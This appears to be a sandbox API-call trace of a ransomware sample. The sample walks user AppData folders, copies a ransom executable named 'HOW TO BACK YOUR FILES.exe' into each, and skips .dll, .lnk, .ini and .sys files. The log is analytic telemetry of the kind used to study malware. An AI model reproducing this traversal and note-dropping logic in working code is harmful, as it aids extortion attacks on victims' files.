	[0045.521] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0045.521] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0045.521] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B") returned 96
	[0045.521] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B"
	[0045.521] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.521] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\1\\0b\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.526] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.526] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7680bb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x3335e030, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3335e030, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.526] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.526] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.526] lstrcpyW (in: lpString1=0x2d3e612, lpString2="FCBF5d01" | out: lpString1="FCBF5d01") returned="FCBF5d01"
	[0045.526] lstrlenW (lpString="FCBF5d01") returned 8
	[0045.526] lstrlenW (lpString="Apollon865") returned 10
	[0045.526] lstrlenW (lpString=".dll") returned 4
	[0045.526] lstrcmpiW (lpString1="FCBF5d01", lpString2=".dll") returned 1
	[0045.526] lstrlenW (lpString=".lnk") returned 4
	[0045.526] lstrcmpiW (lpString1="FCBF5d01", lpString2=".lnk") returned 1
	[0045.526] lstrlenW (lpString=".ini") returned 4
	[0045.526] lstrcmpiW (lpString1="FCBF5d01", lpString2=".ini") returned 1
	[0045.526] lstrlenW (lpString=".sys") returned 4
	[0045.526] lstrcmpiW (lpString1="FCBF5d01", lpString2=".sys") returned 1
	[0045.526] lstrlenW (lpString="FCBF5d01") returned 8
	[0045.526] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0"
	[0045.526] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599d28 | out: hHeap=0x580000) returned 1
	[0045.526] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7be8 | out: hHeap=0x580000) returned 1
	[0045.526] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0") returned 93
	[0045.526] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0"
	[0045.526] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.527] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\0\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.530] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.530] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x3335e030, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3335e030, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.530] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.530] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.530] lstrcpyW (in: lpString1=0x2d3e60c, lpString2="98" | out: lpString1="98") returned="98"
	[0045.530] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7be8
	[0045.531] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xc2) returned 0x599d28
	[0045.531] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7bf0 | out: ListHead=0x5b76b0, ListEntry=0x5b7bf0) returned 0x5b7ad0
	[0045.531] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81eff750, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81eff750, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81eff750, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="A8", cAlternateFileName="")) returned 1
	[0045.531] lstrcmpiW (lpString1="A8", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.531] lstrcmpiW (lpString1="A8", lpString2="Apollon865.txt.exe") returned -1
	[0045.531] lstrcpyW (in: lpString1=0x2d3e60c, lpString2="A8" | out: lpString1="A8") returned="A8"
	[0045.531] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0045.531] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xc2) returned 0x599450
	[0045.531] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7bf0
	[0045.531] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3335e030, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3335e030, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0045.531] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0045.531] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3335e030, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3335e030, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0045.531] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0045.531] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c50
	[0045.531] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8"
	[0045.531] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0045.531] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0045.531] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8") returned 96
	[0045.531] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8"
	[0045.531] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.531] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\0\\a8\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.633] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.633] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81eff750, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x3335e030, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3335e030, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.633] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.633] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.633] lstrcpyW (in: lpString1=0x2d3e612, lpString2="C3B7Bd01" | out: lpString1="C3B7Bd01") returned="C3B7Bd01"
	[0045.633] lstrlenW (lpString="C3B7Bd01") returned 8
	[0045.633] lstrlenW (lpString="Apollon865") returned 10
	[0045.633] lstrlenW (lpString=".dll") returned 4
	[0045.633] lstrcmpiW (lpString1="C3B7Bd01", lpString2=".dll") returned 1
	[0045.633] lstrlenW (lpString=".lnk") returned 4
	[0045.633] lstrcmpiW (lpString1="C3B7Bd01", lpString2=".lnk") returned 1
	[0045.633] lstrlenW (lpString=".ini") returned 4
	[0045.633] lstrcmpiW (lpString1="C3B7Bd01", lpString2=".ini") returned 1
	[0045.633] lstrlenW (lpString=".sys") returned 4
	[0045.633] lstrcmpiW (lpString1="C3B7Bd01", lpString2=".sys") returned 1
	[0045.633] lstrlenW (lpString="C3B7Bd01") returned 8
	[0045.633] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98"
	[0045.634] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599d28 | out: hHeap=0x580000) returned 1
	[0045.634] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7be8 | out: hHeap=0x580000) returned 1
	[0045.634] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98") returned 96
	[0045.634] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98"
	[0045.634] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.634] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\0\\98\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.639] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.639] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb8c39470, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x334689d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x334689d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.639] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.639] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.639] lstrcpyW (in: lpString1=0x2d3e612, lpString2="B60F3d01" | out: lpString1="B60F3d01") returned="B60F3d01"
	[0045.639] lstrlenW (lpString="B60F3d01") returned 8
	[0045.639] lstrlenW (lpString="Apollon865") returned 10
	[0045.639] lstrlenW (lpString=".dll") returned 4
	[0045.639] lstrcmpiW (lpString1="B60F3d01", lpString2=".dll") returned 1
	[0045.639] lstrlenW (lpString=".lnk") returned 4
	[0045.639] lstrcmpiW (lpString1="B60F3d01", lpString2=".lnk") returned 1
	[0045.639] lstrlenW (lpString=".ini") returned 4
	[0045.639] lstrcmpiW (lpString1="B60F3d01", lpString2=".ini") returned 1
	[0045.639] lstrlenW (lpString=".sys") returned 4
	[0045.639] lstrcmpiW (lpString1="B60F3d01", lpString2=".sys") returned 1
	[0045.639] lstrlenW (lpString="B60F3d01") returned 8
	[0045.639] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help"
	[0045.639] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591640 | out: hHeap=0x580000) returned 1
	[0045.639] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0045.639] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help") returned 58
	[0045.640] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help"
	[0045.640] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.640] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft help\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.644] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.644] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0x334689d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x334689d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.644] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.644] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.644] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft"
	[0045.644] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0045.644] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0045.644] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft") returned 53
	[0045.644] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft"
	[0045.644] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.644] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.649] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.649] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x334689d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x334689d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.649] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.649] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.650] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="Credentials" | out: lpString1="Credentials") returned="Credentials"
	[0045.650] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0045.650] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x84) returned 0x5b9168
	[0045.650] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c30 | out: ListHead=0x5b76b0, ListEntry=0x5b7c30) returned 0x5b7ab0
	[0045.650] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x32121370, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x32121370, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x32121370, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Event Viewer", cAlternateFileName="EVENTV~1")) returned 1
	[0045.650] lstrcmpiW (lpString1="Event Viewer", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.650] lstrcmpiW (lpString1="Event Viewer", lpString2="Apollon865.txt.exe") returned 1
	[0045.650] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="Event Viewer" | out: lpString1="Event Viewer") returned="Event Viewer"
	[0045.650] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
	[0045.650] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x86) returned 0x5b8f28
	[0045.650] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ad0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ad0) returned 0x5b7c30
	[0045.650] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Feeds", cAlternateFileName="")) returned 1
	[0045.650] lstrcmpiW (lpString1="Feeds", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.650] lstrcmpiW (lpString1="Feeds", lpString2="Apollon865.txt.exe") returned 1
	[0045.650] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="Feeds" | out: lpString1="Feeds") returned="Feeds"
	[0045.650] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7be8
	[0045.650] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x78) returned 0x591640
	[0045.650] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7bf0 | out: ListHead=0x5b76b0, ListEntry=0x5b7bf0) returned 0x5b7ad0
	[0045.650] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Feeds Cache", cAlternateFileName="FEEDSC~1")) returned 1
	[0045.650] lstrcmpiW (lpString1="Feeds Cache", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.650] lstrcmpiW (lpString1="Feeds Cache", lpString2="Apollon865.txt.exe") returned 1
	[0045.650] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="Feeds Cache" | out: lpString1="Feeds Cache") returned="Feeds Cache"
	[0045.650] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0045.650] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x84) returned 0x5b8e98
	[0045.650] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7bf0
